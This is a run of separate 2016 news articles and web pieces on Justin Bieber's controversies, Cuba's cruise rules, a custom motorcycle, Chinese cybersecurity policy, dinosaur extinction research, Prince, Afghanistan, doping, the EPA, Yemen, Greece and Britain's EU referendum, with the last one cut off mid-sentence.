Below, some of the most memorable remarks that left fans waiting for the Biebs to say "Sorry."



The Prince shade

Guitarist Andrew Watt posted an emotional tribute to Prince after news broke of the music legend's death. "Today waking up to this news I am truly beside myself a devastated a the last of the greatest living performers a my guitar idol," the musician wrote on Instagram.













For reasons yet to be fathomed, Bieber decided to leave an oozing-with-shade comment on the post. "Well not the last greatest living performer," he wrote. Many pointed out that while yes, we can all probably concede that there are at least a couple great performers still gracing the earth, clearly the proper time to get technical about it is not immediately following the unexpected death of a beloved musical innovator. And, you know, especially when the person getting so uppity is an overgrown tween pop star.





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SMH: Justin Bieber was offended when somebody called Prince the "last of the greatest living performers" pic.twitter.com/8XHpAWyM64 a Joel Franco (@OfficialJoelF) April 22, 2016





The Anne Frank comments

A then-19-year-old Bieber visited Amsterdam's Anne Frank House in-between stops on the European leg of his 2013 tour. At the time, a source told PEOPLE that he made the trip after reading the famous diary Frank wrote while in hiding during the Holocaust. One would think bad PR couldn't possibly stem from a celebrity taking interest in one of the most poignant, tragic figures of the 20th century, but Bieber again found himself on the receiving end of vitriolic criticism.



"Truly inspiring to be able to come here. Anne was a great girl. Hopefully she would have been a belieber," he wrote in the museum's guestbook, according to their Facebook page.



A number of celebrities poked fun at Bieber for the message on Twitter.





"Anne was dope. Hopefully she would have gone to the window to the wall" --Lil Jon re: Anne Frank a Lena Dunham (@lenadunham) April 14, 2013







I agree with Justin Bieber. Anne Frank would've loved his stuff.

It's perfect for being played really really quietly so no one can hear it. a Ricky Gervais (@rickygervais) April 14, 2013







"Who's this Anne Frank & why is he visiting her HOUSE? Are they dating?! OMG!" -93% of beliebers a RainnWilson (@rainnwilson) April 14, 2013





The Japanese war criminal shrine incident

While visiting Japan in 2014, Bieber posted a picture of himself bowing in front of Yasukuni Shrine with the caption "Thank you for your blessings." Unbeknown to him, the highly controversial monument is said to enshrine the souls of some of the country's most brutal war criminals, including military leaders involved in the atrocities of World War II.



The pop star complied when Chinese fans began flooding Twitter and Instagram with requests that he remove the offending photo. "While in Japan I asked my driver to pull over for which I saw a beautiful shrine. I was mislead to think the Shrines were only a place of prayer," he explained on Instagram. "To anyone I have offended I am extremely sorry. I love you China and I love you Japan."





While in Japan I asked my driver to pull over for which I saw a beautiful shrine. I was mislead to think the Shrines were only a place of prayer. To anyone I have offended I am extremely sorry. I love you China and I love you Japan A photo posted by Justin Bieber (@justinbieber) on Apr 23, 2014 at 2:39am PDT





His comments on abortion

Rolling Stone asked a 16-year-old Bieber for his thoughts on some political and social issues, and as you would probably expect from any teenager, his comments were not entirely well-considered.



"I really don't believe in abortion," Bieber said. "It's like killing a baby." When it comes to cases of rape, he added, "Um. Well, I think that's really sad, but everything happens for a reason. I don't know how that would be a reason. I guess I haven't been in that position, so I wouldn't be able to judge that."



The n-word videos

The year 2014 brought some struggles for Bieber as videos of his 14 and 15-year-old selves making jokes that involved the n-word surfaced.



The first footage to emerge, which was published by TMZ, showed the teen telling a joke that begins "Why are black people afraid of chainsaws?" and ends with a string of the racial slur.



Bieber issued an apology to the Associated Press when the years-old video came to light. "I'm very sorry," he said. "I take all my friendships with people of all cultures very seriously and I apologize for offending or hurting anyone with my childish and inexcusable behavior."



"I thought it was ok to repeat hurtful words and jokes, but I didn't realize at the time that it wasn't funny and that in fact my actions were continuing the ignorance," the statement continued. "Thanks to friends and family I learned from my mistakes and grew up and apologized for those wrongs. Now that these mistakes from the past have become public I need to apologize again to all of those who I have offended a Ignorance has no place in our society and I hope the sharing of my faults can prevent others from making the same mistake in the future. I thought long and hard about what I wanted to say but telling the truth is always what's right. Once again ... I'm sorry."



Unfortunately for him, another slur-filled video of Bieber emerged within the week. In the clip, the teen star parodies his hit "One Less Lonely Girl." "One less lonely n-----," he sings through a smile. "If I kill you, I'd be part of the KKK, and there's gonna be one less lonely n-----."



Bieber issued his second apology in an interview with The Sun. "Facing my mistakes from years ago has been one of the hardest things I've ever dealt with," he said. "But I feel now that I need to take responsibility for those mistakes and not let them linger. I just hope that the next 14-year-old kid who doesn't understand the power of these words does not make the same mistakes I made years ago. At the end of the day I just need to step up and own what I did."
By Marc Frank HAVANA (Reuters) - Cuba said on Friday it would lift a ban on Cuban-born citizens entering and leaving the Caribbean island by commercial vessels, opening the way for U.S. cruise operator Carnival Corp to set sail for the country from Miami next week. The decision is a sign that steps to normalize relations between the two countries continue despite anti-U.S. rhetoric from Cuba's leaders seeking to reassure hardliners following U.S. President Barack Obama's historic visit to the island. Carnival's May 1 cruise, the first from the United States to the Communist-run country since the 1959 revolution, was thrown into doubt when the company triggered a backlash in Miami by refusing Cuban-Americans passage due to a Cold War-era law. A statement carried by state-run media said starting April 26, Cuban citizens would be authorized "independently of their migratory status to enter and leave as passengers and crews of cruise ships." "We are extremely pleased. We want to extend our sincere appreciation to Cuba and to our team who worked so hard to help make this happen," Carnival Chief Executive Arnold Donald said in a statement. The new rules follow measures four years ago to make it easier for Cubans to travel, perhaps the biggest political reform in the Communist-run country prior to the detente announced by President Raul Castro and Obama in 2014. Obama has made it easier for U.S. citizens to travel to Cuba, but has not totally lifted restrictions. "These measures contrast with the prohibition on U.S. citizens freely traveling to Cuba," the Cuban statement said. The announcement follows a Communist Party congress earlier this week, where Castro warned Cubans to be alert to U.S. attempts to weaken their socialist system but also vowed to improve living standards. "One thing is revolutionary rhetoric to reassure the Party faithful, another thing is business," said Richard Feinberg, a Cuba expert and former national security advisor to U.S. President Bill Clinton. "For the U.S., the goal is to re-integrate Cuba into the global economy. For the Cuban government, the goal is to raise living standards of the population  and retain political power." The looser rules will also make it possible for Cubans to work for cruise and cargo lines, opening new possible careers after years of restrictions on setting foot on boats without special permission. In other measure aimed at easing hardship, the government lowered food prices in state-run stores from Friday. FISHING, YACHTS The waters between the two countries have been the scene of mass migration, hijacking and invasion attempts in the past, leading Cuba to ban boat travel without a permit. Restrictions on traveling by air were lifted years ago, triggering a surge in visits by Cuban-Americans to their families, bringing with them money and goods. Still, Cuban-Americans require a permit from Cuba to visit the island. "There remains much to do in normalizing the interconnection with the Cuban diaspora," said Carlos Saladrigas, a Cuban American businessman who supports detente. The Cuban statement on Friday said authorities were also reviewing a ban on citizens from boarding recreational vessels such as fishing boats and yachts. Carnival received U.S. approval last year to sail, and the green light from Havana a day after Obama's visit in March. Protests in Miami, where the company is based, a discrimination suit and criticism by Secretary of State John Kerry led Carnival to start accepting bookings from Cuban-Americans earlier this month. The company said it would postpone if necessary, but also expressed confidence Cuba would rescind the law before its first 'Fathom' adventure, expected to begin sailing to three Cuban cities every fortnight from May 1. (Additional reporting by Frank Jack Daniel; Editing by Bernadette Baum and Marguerita Choy)
Internet trolls. From armchairs across the globe they opine, denounce, and berate creators of all kinds. They are, of course, experts who know better than the rest.

While easy to brush off in small doses and many times outnumbered by positive comments, even the well-established arent immune to trolling, Virginias Classified Moto included. As company founder John Ryland tells BikeExif, were human, and the trolls have a way of getting under our skin.

In that respect, consider this wild off-road motorcycle to be a gift to those haters, and what Ryland calls a huge balloon-tired middle finger. Meet the Classified Moto BW650.

RELATED: Check Out Classified Motos The Walking Dead Motorcycle

If youre thinking, hmm, that sort of looks like one of those old Yamaha Big Wheel bikes, youre right on the money. Ryland says his first ever bike was a Yamaha BW200, and ever since hes wanted to give one a bigger, street-able motor. When a friend offered to commission the build, the team jumped at the opportunity.

At its core however, it pulls much of its gear from another pedigreed off-road bikea 96 Honda XR650L, which gave up its 650cc engine, frame, and a few other bits for the build. The rest was either custom built or plucked from other Honda and Yamaha bikes.

First and foremost, those tires. Classified Moto has opted for big STI Black Diamond knobbies, which both look fantastically mean and allow the bike to be street-legal. Imagine pulling up to this thing at a stoplight.

RELATED: The Ronin is One of the Rarest Motorcycles Money Can Buy

At the front they come attached to modern Yamaha WR250R forks, which boasts a trio of off-roady beacons, while at the back the bike is suspended by a Yamaha BW swingarm and a Progressive Suspension 465 monoshock. The rear wheel is an original BW200 unit, as well.

Above the XR650L motor, which now features a custom exhaust and bash guard to protect it, lives a modified Honda CM185T gas tank that proudly wears Classified Motos logo. It all leads into a sleek canvas and leather seat, and an overall jaw-dropping build.

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Oh, you dont like it? See paragraph three, the end of line one.

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Chinese President Xi Jinping during a meeting with senior officials and representatives of China's Internet industry. (Photo : Twitter)

Chinese President Xi Jinping said on Monday that the country will be boosting its cybersecurity capabilities, including cyber deterrence, while also urging officials to be more open when it comes to commentary from netizens.



Xi made the statement during a meeting with senior officials, engineers and information technology heads. He said that it is important to speed up the development of the nation's cybersecurity systems to protect its information infrastructure, as well as strengthen its cyber defense and deterrence capabilities, the South China Morning Post reported.



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National Computer Network Emergency Response Technical Team director Huang Chngqing pointed out that cyber deterrence is vital for China to counterbalance other nations and maintain peace.



The president also urged members of the Chinese Internet industry to cooperate in the development of breakthroughs in Internet core technologies.



According to China Institute of Cyberspace Strategy director In An, the country's core technologies are still lagging behind that of other major nations, which is why it is essential to upgrade cybersecurity systems against cyberattacks, cybercrimes and cyberterrorism.



In March, the government announced a five-year plan to push for the development of the country's Internet sector, mainly focusing on cybersecurity and defence. However, cyber deterrence is not mentioned in the plan.



Meanwhile, Xi also called on government officials to be more "tolerant and patient" toward netizens who are critical of the government. He added that officials should instead welcome such criticisms, whether mild or harsh, as long as made in good faith, China Daily reported.



Xi also urged officials to use the Internet in order to get closer to the people they serve. He said that they should also listen to online opinions, concerns and suggestions in a positive manner



Several local government officials have come under fire in recent months for banning online comments made by concerned netizens.


Five years after being forced to leave the United States, a man who served in the Iraq War as a U.S. Marine was granted citizenship Thursday. A former U.S. Marine and Iraq War veteran Daniel Torres returned to the United States Wednesday afternoon - five years after he was forced to leave when it was discovered he was "undocumented."
The dinosaurs  the so-called tyrants of the Mesozoic era  weren't exactly thriving during their last few million years on Earth, a new study finds.

The new analysis of the dinosaur family tree reveals that dinosaurs were disappearing even before the asteroid hit about 65.5 million years ago. Roughly 24 million years before that impact, dinosaur extinction rates passed speciation rates, meaning that the animals were losing the ability to replace extinct species with new ones, the researchers said.

The findings suggest that these striking extinction rates made the dinosaurs vulnerable to drastic environmental changes, such as the asteroid collision, the researchers said. [Wipe Out: History's Most Mysterious Extinctions]

"This implies that any group of animals that is under prolonged periods of high extinction rate can undergo mass extinction should there be a catastrophic event," said study lead researcher Manabu Sakamoto, a postdoctoral research assistant of biological sciences at the University of Reading in the United Kingdom.

The study isn't the first to suggest that dinosaurs were in a major decline before the asteroid event. In previous studies, scientists have recorded the number of species in each geological age and compared those levels to the subsequent ages (each age lasts for millions of years) to get a sense of how diverse the dinosaurs were, Sakamoto said.

But that method focuses on snapshots in time and doesn't take into account the extinction and speciation rate within each branch of the dinosaur family tree. So the researchers of the new study looked at the dinosaur fossil record and the family tree to get a robust picture of when new dinosaur species came onto the scene, Sakamoto said.

"Our study is the first to incorporate such phylogenetic [family tree] information when studying speciation and extinction in dinosaurs," Sakamoto told Live Science. "This is what has allowed us to build a more nuanced and certain picture of dinosaur speciation than has ever before been possible."

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Dinosaur detectives

The researchers separately analyzed the three major groups of dinosaurs: the ornithischians (such as Stegosaurus), sauropodomorphs (the long-necked, long-tailed herbivores) and theropods (bipedal, mostly carnivorous dinosaurs, such as T. rex and Albertosaurus).

The sauropodomorphs had the most prominent downturn, the scientists found. The research showed spikes in new species of this type of dinosaur emerging during the Triassic and early Jurassic periods, until about 195 million years ago, when that speciation rate began to slow down. At 114 million years ago, during the early Cretaceous period, species of sauropodomorphs were going extinct faster than new species were emerging, the researchers found.

"The subsequent originations of [the] titanosaurian [group] were not nearly enough to compensate for the continuous loss of sauropods throughout the remainder of the Cretaceous," the scientists wrote in the study.

Theropods had an "early burst" of speciation followed by a speciation slowdown from the late Triassic to the early Cretaceous (about 215 million years ago to about 120 million years ago), when extinction rate exceeded speciation rate, the researchers found.

Likewise, ornithischians show an early increase followed by a speciation slowdown at about 114 million years ago, when extinction rate surpassed speciation rate. But there were a few success stories within this group. The hadrosauriforms (duck-billed dinosaurs) and ceratopsids (the horned dinosaurs, such as Triceratops) did well, likely because they had developed jaws that helped them munch on new food, possibly flowering plants, the researchers said. [Dinosaur Detective: Find Out What You Really Know]

When the researchers considered the three dinosaur groups separately, "We found unequivocal evidence that dinosaurs were in decline up to 50 million years prior to the mass extinction event 66 million years ago," Sakamoto said.

Extinction lessons

It's unclear why the dinosaurs started going extinct so early, but there are clues as to why speciation increased during certain periods, the scientists said. One idea is that rising sea levels cut into the land, fragmenting dinosaur habitats and nudging the beasts to evolve separately into new species in different areas, the researchers said.

However, after dinosaur extinction rates began to rise, another group of animals started thriving: mammals.

"The decline of the dinosaurs would have left plenty of room for mammals, the group of species which humans are a member of, to flourish before the impact, priming them to replace dinosaurs as the dominant animals on Earth [after the impact]," study co-author Chris Venditti, an evolutionary biologist at the University of Reading, said in a statement.

The new findings may help scientists understand the possible consequences of today's extinctions, the researchers added.

"We live in a time when species are undergoing unprecedented levels of extinctions," Sakamoto told Live Science. "This means that if some major catastrophe hits, then it is highly possible that whole groups of animals [will] be completely wiped out off the face of the Earth."

The study is an interesting one, said Alan Turner, an associate professor of anatomical sciences at Stony Brook School of Medicine in New York, who was not involved in the research.

"Through modeling of speciation dynamics, it appears that dinosaur diversity was declining well in advance of the end-Cretaceous extinction event that killed off all nonavian dinosaurs, as well as numerous other vertebrate groups," Turner told Live Science in an email.

The study was published online April 18 in the journal Proceedings of the National Academy of Sciences.

Follow Laura Geggel on Twitter @LauraGeggel. Follow Live Science @livescience, Facebook & Google+. Original article on Live Science.

Copyright 2016 LiveScience, a Purch company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
I did "The Most Beautiful Girl in the World" video for him. It was the only opportunity I got to work with him. It was a great experience. It was like a dream in more than one way, because Prince was very mysterious. This was '95. At that time, he was separating himself from his label, that sort of structure. He called me and wanted me to do a video for him. It wasn't the normal process where you go through the record label and all the managers. He was very hands-on. He flew me down to Paisley Park, and I walked into Paisley Park, and there were women everywhere. Walking into this huge space, I was trying to figure out what they were all doing. There were these long, beautiful steps, and I see someone in a red outfit coming down the steps toward me, and it was like something in a Fellini movie. He said, "Hey, Antoine, I'm Prince." How cool is that? So we spent the day together, talking about the concept and the video. I realized that in the song he was singing was about young women of any color, shape, size, who could become anything they wanted to be in the world. And that's why all those women were there. He was already in that headspace.

Read More: 'Purple Rain' Exec Recalls Traveling the World With Prince, Late Nights on Mulholland (Guest Column)

By the time I got there, he was already ready to go. When he came down the steps, he said, "Are you ready?" I said, "I'm always ready." He said, "Let's get started." I said, "My crew's not even here yet. I don't even have a camera." He had his own soundstage there, that he showed me. So I said, "Let me get my crew and we can get organized and tomorrow, we can get started early." So we just hung out all day and had a great time together. He was just a regular, very cool guy.

He put me up in this beautiful bed-and-breakfast place. About two in the morning, the phone rang. The voice on the phone goes, "What're you doing?" I said, "Who is this?" He said, "Antoine, it's Prince. You ready?" So, I said, "All right, let me wake up everybody." So I jumped out of bed, called my DP Giogio Scali, we got our guys together and went to Paisley Park - it was two or three in the morning - and just got going. It was an amazing experience. It was just sort of happening. It was a good time.

Today, when I heard the news, I was driving my car. They said a man had been found at Paisley Park and it could be Prince. I prayed it was not, but I thought we'd probably have to wait around for a week before he pops up to let us know it's not him. Because he was mysterious. He would just come and go, like an enigma. He'd come and light the world on fire with some music and some performances, and then, poof, gone. You wouldn't see him for another few years. He was a true artist in every way. He did it all. Prince was a king.

- Antoine Fuqua, director of Training Day and the upcoming The Magnificent Seven, directed Prince's 1995 video for the song "The Most Beautiful Girl in the World."

Read More: Legendary Artist Prince Found Dead at 57
By Emma Batha LONDON (Thomson Reuters Foundation) - The world must not let Afghanistan become a forgotten crisis, a senior Red Cross official said on Friday as he warned of spiraling violence, donor fatigue and a worrying "brain drain" of educated professionals. "The international community must keep their attention on Afghanistan. It's far from being over. It's not the time to switch off," said Jean-Nicolas Marti, outgoing head of the International Committee of the Red Cross (ICRC) in Afghanistan. He warned that violence - which is at levels not seen since 2001 - would likely escalate in the coming year. "The security situation has really deteriorated ... and my prediction is a further deterioration," Marti said. "Potentially the 18 months ahead of us will be much tougher." Marti is meeting government officials in European capitals and Washington to press for greater political, financial and humanitarian support. "The message is (we need) to make sure that Afghanistan doesn't become a forgotten or ignored conflict," he told the Thomson Reuters Foundation in London. Marti was speaking just days after a suicide attack in Kabul killed 64 people and injured hundreds more in the deadliest single incident of its kind in the capital since 2011. The Taliban, which claimed responsibility, is believed to be stronger than at any point since it was ousted by U.S.-backed forces in 2001. Fighters loyal to Islamic State have also emerged in pockets of the country. Marti said the ICRC had evacuated 600 war-wounded in the first three months of the year  a high number given that fighting usually tails off in winter when mountain passes are snowed in. "It ... demonstrates that the fighting season is going to be tough this year and the humanitarian response needs to be up to it," he said. The Taliban, which wants to drive Afghanistan's Western-backed government from power, announced the start of their spring offensive on April 12. BRAIN DRAIN The ICRC said it was particularly alarmed by the rising number of civilian casualties which hit a record high for the seventh successive year in 2015, with over 11,000 non-combatants killed or injured. Attacks against medical facilities and staff have also risen 50 percent in the last year, making it more difficult for civilians to access healthcare. Marti said the ICRC was launching a flying surgical team which will tour hospitals in provincial capitals around Afghanistan, training medical staff to respond to emergencies. An estimated one million people are displaced within Afghanistan and others have fled abroad. Afghans are the second largest group of refugees and migrants arriving in Europe behind Syrians. Marti warned of a "brain drain" as middle class professionals pack their bags in an exodus which could have serious implications for the country. "What makes me pretty worried about the future of this country is that I know Afghans ... who were here 10 years ago hoping to create a future for Afghanistan and who are now picking up their belongings and fleeing to Europe or to Canada. "(This) illustrates for me that they are losing hope for the future of this country." Afghanistan is suffering from donor fatigue, partly because international attention was focused on Syria and Iraq, he said. "We've seen a decrease in general interest for Afghanistan, but the situation is actually getting worse. It's dangerous. (Editing by Ros Russell; Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, which covers humanitarian news, women's rights, trafficking, corruption and climate change. Visit news.trust.org to see more stories.)
* Lab has 21 days to appeal decision * Investigations sparked by British newspaper report (adds laboratory statement, changes dateline, byline) By Brenda Goh SHANGHAI, April 22 (Reuters) - The World Anti-Doping Agency (WADA) suspended the accreditation of Beijing's National Anti-Doping laboratory on Thursday, weeks after launching a probe into drugs allegations in Chinese swimming. The laboratory, suspended for a maximum of four months, has 21 days to appeal the decision to the Court of Arbitration for Sport (CAS). "The suspension, which takes effect immediately, prohibits the laboratory from carrying out any WADA-related anti-doping activities including all analyses of urine and blood samples," WADA said in a statement. WADA said the laboratory could apply for reinstatement before the four months was up if it took remedial steps and tackled "non-conformities", without providing details. China's national anti-doping agency said the laboratory had submitted "two false negative results" during blind tests conducted by WADA in 2015. "The laboratory will resume testing work after its changes have been reviewed by WADA," the agency said in a statement on its website (chinada.cn). State news agency Xinhua later quoted the laboratory as saying that the false negative results were caused by "technical errors" because it had yet to update testing methods to meet WADA's latest requirements. The laboratory was also negligent in its analysis, it said. "At present, the laboratory is undergoing a complete review and improvement of its detection methods, in order to meet WADA's latest requirements," Xinhua quoted the lab as saying. NEWSPAPER REPORT China's anti-doping programme has been under scrutiny in recent weeks following a British newspaper report that alleged Chinese swimming had covered up positive drugs tests ahead of Olympic trials for the Rio de Janeiro Games to avoid a "storm". The Times report prompted WADA to investigate the allegations. China's anti-doping agency denied there had been a cover-up and said they needed time to test secondary 'B' samples and conduct hearings before releasing further information. The Chinese Swimming Association subsequently announced it had issued a "warning penalty" to swimmers Wang Lizhuo and An Jiabao after they tested positive for the banned substance clenbuterol. A third swimmer Zhao Ying, who also tested positive for clenbuterol in an out-of-competition test, was named but had not yet been punished, the association said last month. The country's anti-doping agency courted controversy in 2014 after keeping a three-month drugs ban handed to Olympic 1,500 metres freestyle champion Sun Yang under wraps for six months. China (five golds) finished second to the United States (16) in the swimming medal table at the 2012 London Olympic Games and are tipped to be a force at the Rio Games. WADA also revoked the accreditation of a Moscow anti-doping laboratory in Russia for failing to meet standards last Friday. The lab had been non-operational since WADA suspended it in November after an independent commission's report identified systematic failures within Russia's anti-doping programme. Russia is currently suspended from international track and field in the wake of the report exposing widespread cheating and corruption and its athletes could miss the Rio Olympics. (Writing by Ken Ferris and Ian Ransom; Editing by John O'Brien)
April 22, 2016, marks not only the 46th Earth Day, but also the day that the United States and China will formally sign the historic Paris Agreement on climate change that was finalized last year. Earth Days purpose is to bring attention to conservation and environmental protection, and the inherently political nature of these goals is underscored this year by the singing of the accords.

Given the strong connection between environmental protection and government action, environmental regulation has been a salient issue in American politics for decades. Conflicts over environmental regulation have often found their way to the courts, and involve constitutional questions ranging from separation of powers to administrative procedure.

Before the 1960s, environmental protection legislation was largely handled by the states, but in light of the growing awareness of environmental degradation during the 1960s, there was a movement to pass robust policies on the federal level. In the late 1960s, the first batch of federal environmental legislation was passed, including bills like the National Environmental Policy Act, which aimed to eliminate damage to the environment and biosphere.

NEPA and similar bills produced a confusing and complicated regulatory delegation scheme to multiple executive agencies. To streamline the regulation process, President Richard Nixon introduced an executive order in 1970 to create one independent agency with the sole task of enforcing environmental regulation. On December 2, 1970, the Environmental Protection Agency (EPA) was born; it was given the power to administer legislation such as the Clean Air Act of 1970. By the 1990s, the EPA was administering 12 pieces of federal environmental protection legislation, including the Clean Water Act and the Federal Environmental Pesticide Control Act.

As an independent administrative agency, the EPA has the power to issue regulations and implement statutes, but the nature and proper extent of congressional delegation to executive agencies has long been the subject of constitutional debate.

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The idea of congressional delegation to agencies outside the legislative branch stems from the concern that Congress might lack the capacity, expertise, or swiftness to deal with intricate issues like environmental regulation. One of the first major modern affirmations of Congress authority to delegate legislative power came in 1928, when the Supreme Court ruled that Congress can delegate power to executive agencies but must also, through statute, lay out an intelligible principle to guide the actions of the agency.

Since the establishment of the EPA, its actions have been challenged countless times in courts across the nation, and the agency has often been a party to cases before the Supreme Court. One of the major cases involving the EPA that had long lasting effects on the relationship between the courts and regulatory agencies took place in 1984, when Chevron challenged the EPAs implementation of a part of the Clean Air Act.

Chevron wanted the Court to invalidate the EPAs interpretation of a mandate from the Clean Air Act, but the Supreme Court refused, maintaining that courts should generally be deferential to the decisions and statutory interpretation of regulatory agencies. The Court ruled that when a law like the Clean Air Act is ambiguous as to how specific provisions should be actualized, courts should defer to agency judgment so long as it is reasonable, meaning that it is not arbitrary, capricious, or manifestly contrary to the statute.

More recently, the Court has heard cases dealing with federalist concerns that stem from the actions of the EPA. In 2006, Massachusetts sued the EPA claiming that it was failing to fulfill its obligation under the Clean Air Act to sufficiently regulate carbon dioxide emissions. A major question in this case was whether the EPAs failure to regulate carbon emissions harmed Massachusetts in a direct and impactful enough way such that it could have standing before federal courts.

The Supreme Court granted Massachusetts standing, and determined that potential harm due to global warming as a result of unregulated carbon emissions gave the state a sufficient stake in protecting its quasi-sovereign interests to sue. Chief Justice Roberts, who is known for his narrow interpretation of standing, dissented, claiming that the harms to Massachusetts due to global warming were not sufficiently concrete.

Finally, earlier this year the Supreme Court garnered considerable attention when it took an unprecedented action to block a regulation issued by the EPA that aimed to reduce emissions from electric power plans. A major component of the commitments that President Obama made at the Paris climate change conference, the regulation was temporarily blocked by the Supreme Court before it was even reviewed by a federal appeals court. A lower court is going to rule on the substance of the regulation later this year, and a ruling against the regulation would be a major impediment to President Obamas ambitious emissions reduction goals.

Given that environmental protection is inextricably linked to politics, it is no surprise that the executive, legislative and judicial branch have all had a role in these ongoing debates. The Supreme Court has been an integral player in the trajectory of environmental protection legislation and regulation, and will continue to make impactful rulings on what the proper role of the government is in this domain for the foreseeable future.
UN-brokered peace talks to end 13 months of armed conflict in Yemen opened Thursday in Kuwait with a call for compromise between the rebel and government delegations from the impoverished state.

The talks were originally slated to start on Monday but rebels stayed away in protest at alleged Saudi violations of a ceasefire, in effect since April 11.

The rebel delegation from the Shia Houthi militia and allied representatives of ex-president Ali Abdullah Saleh arrived just hours before the talks finally started.

Foreign Minister Sheikh Sabah al-Khaled Al-Sabah of host country Kuwait opened the meeting by hailing the talks as "a historic opportunity" to end the bloodshed.

"War will only lead to more devastation, losses and displacement of people," he said.

UN special envoy Ismail Ould Cheikh Ahmed appealed to the warring parties to work to reach a comprehensive and durable accord.

"Today, you have one of two options; a secure nation that guarantees an honourable life or the ruins of a nation," he said.

Ould Cheikh Ahmed called for "compromise" solutions and stressed Yemen was "closer to peace than any time before".

The first session ended after less than two hours of talks and the next round would be held on Friday afternoon, a delegate told AFP.

More than 6,400 people have been killed and almost 2.8 million displaced since a Saudi-led Arab coalition began operations in March 2015 against the Iran-backed rebels who have seized swathes of territory, including the capital Sanaa.

The UN has been pushing the talks that it hopes will end a conflict that has been exploited by jihadists and sent tensions between Shia Iran and its Gulf Arab neighbours soaring.

President Abd-rabbo Mansour Hadi had sent a message to Ould Cheikh Ahmed rejecting "rebel conditions to modify the agreed agenda", according to a member of the government delegation.

Hadi's representatives arrived in Kuwait City at the weekend and threatened to pull out if meetings did not begin on Thursday.

Mahdi al-Mashat, a representative of rebel leader Abdulmalik al-Houthi, said Wednesday the rebels had been assured the agenda for the talks would be "clear and tackle issues that could help achieve peaceful solutions".

Writing on Facebook, Mashat warned however that "we will have the right to suspend our participation" if the assurances are not met.

Diplomats say rebels are demanding an end of the Arab coalition operations and a naval blockade on Yemen.

They also want UN sanctions against some of their leaders, including Saleh, to be lifted.

Saudi Arabia's ally Turkey said on Thursday that it has frozen assets belonging to Saleh and his son, in line with the sanctions.

Saleh amassed billions of dollars and stashed assets in at least 20 countries during his 33 years in power, according to a UN report released last year.

US President Barack Obama was Thursday in Saudi Arabia, where he was expected to discuss the wars in Yemen and Syria with Gulf leaders.

Ben Rhodes, one of Obama's closest foreign policy advisers, urged all Yemeni warring sides to participate "constructively" in the Kuwait talks.

A political solution would "allow for a focus on (Al-Qaeda in the Arabian Peninsula) AQAP in Yemen," he said.

Al-Qaeda and the Islamic State (IS) group have gained ground in the government-held south, carrying out attacks against officials.

Yemen's rebels seized control of Sanaa in 2014 before expanding, forcing Hadi's government to declare main southern city Aden as the temporary capital.

And while the loyalists managed since July to reclaim large areas, they have been unable to dislodge the rebels from Sanaa and other key areas.

Fighting has continued on several fronts, military sources said, as each side blamed the other for truce breaches.

The rebels fired a Katyusha rocket late Wednesday on the loyalist-held city of Marib, east of the capital, according to an AFP journalist there.

Pro-government military sources reported heavy fighting in Nahm, northeast of Sanaa, and sporadic clashes elsewhere.

The rebels said on their sabanews.net website that coalition warplanes carried out two strikes on Nahm and flew sorties over other areas, including Sanaa.

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Amsterdam (AFP) - Eurozone finance ministers raised the pressure on Greece to deliver a fresh set of reforms on Friday, handing Athens a final hurdle to unlock cash from its massive bailout and secure debt relief.

Eurogroup head Jeroen Dijsselbloem said a deal to offer dearly needed bailout loans to Greece could happen as early as Thursday as long as Athens delivered on an extra set of reforms.

These so-called "contingency measures" would be triggered only if leftist-led Athens failed to meet its budget targets and are a key demand of the International Monetary Fund.

"If we have the package, we can have a further Eurogroup next Thursday to come to a conclusion on the first review" of Greece's bailout plan, said Dijsselbloem after the finance ministers of the 19 countries that use the euro currency met in Amsterdam on Friday.

In return for those reforms, eurozone governments would then embark on talks to offer Greece debt relief, one of the only concessions allowed Greek Prime Minister Alexis Tsipras when he secured the bailout in July.

- 'Critically important' -

Reducing Greece's mountain of public debt is also a condition by the IMF to remain a partner in the rescue of Greece.

IMF chief Christine Lagarde, who also attended the talks, said that debt relief was "critically important".

But she said that any cancellation of debt, or haircut, was off the table.

"I believe that no haircut is needed, and the nominal value of the debt doesn't have to be changed," added Lagarde.

Official EU data on Thursday said that Greece's debt stood at 177 percent of gross domestic product (GDP) in 2015 -- almost twice Greece's entire economic output in one year.

But the debt question is extremely sensitive in Germany, the eurozone's most powerful member, which believes that Greece's debt load is manageable.

"This topic is not the priority and above all, it should not distract us from what still needs to be done," said German Finance Minister Wolfgang Schaeuble.

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But hardline Germany also considers the IMF a crucial partner in the bailout programme, and is forced to concede on debt relief in order to keep the fund on board.

- Greece turns corner? -

The ministers met in parallel to crunch talks in Athens to close the bailout review between Greece and the institutions handling its bailout: the EU, the European Central Bank and the IMF.

Accomplishing this step will unlock bailout loans, but has been delayed by disagreements over pension cuts and bad loans.

Greek Finance Minister Euclid Tsakalotos and other ministers said most of those problems had been solved and that the negotiations were in the final stretch.

But Tsakalotos said agreeing the deal was "absolutely crucial".

It would "give a clear signal to EU (and) Greek citizens, Greek and international investors, that Greece has turned the corner."

The Greek government in July faces big repayments to the European Central Bank, amounting to about 2.3 billion euros ($2.6 billion).

"I hope that all this can be concluded soon, because the liquidity situation is becoming tight," warned Klaus Regling, the head of the eurozone bailout fund, the European Stability Mechanism.
By Andy Bruce LONDON (Reuters) - Former Labour Prime Minister Gordon Brown said on Thursday that the "In" campaign should present British voters with a more passionate and patriotic case for European Union membership ahead of a June 23 referendum. In his first major intervention into the debate about Britain's membership, Brown said he would make a series of speeches in favour of the EU over the next two months. "My message is be positive, be principled and be patriotic, and put the case with passion," Brown, 65, said in a speech hosted by the Centre for European Reform in London. "It would be a tragedy if those people who say Britain should leave the European Union were identified as the patriotic group, and those who wanted to stay in were seen in some way as standing up for Europe against Britain." Brown, who served as prime minister from 2007 to 2010, is widely credited with helping to persuade fellow Scots to remain part of the United Kingdom after a series of rousing speeches in favour of the union ahead of a 2014 referendum. Opinion polls show Britain is divided over membership with a large number of voters who are still undecided. Supporters of Britain's EU membership say they need to win over Labour Party voters if they are to win the referendum. Brown said Britain would be best able to tackle the biggest problems it will face in the coming decades - instability in the Middle East and Africa, as well as Russian aggression - if it remained in the bloc it joined in 1973. "If the European Union was not in existence, it would have to be invented to deal with the problems on our doorstep," he said. "Cooperation in Europe makes us safer and more secure. This positive argument 'For' can convince doubters, even sceptics." Brown, who prevented Britain adopting the euro currency during his 10 years as finance minister, said Prime Minister David Cameron's government had gone too far to distance itself from the euro zone. "If you want to get the balance right between autonomy and cooperation here, we must insist that there is no Berlin Wall between the euro area and non-euro area 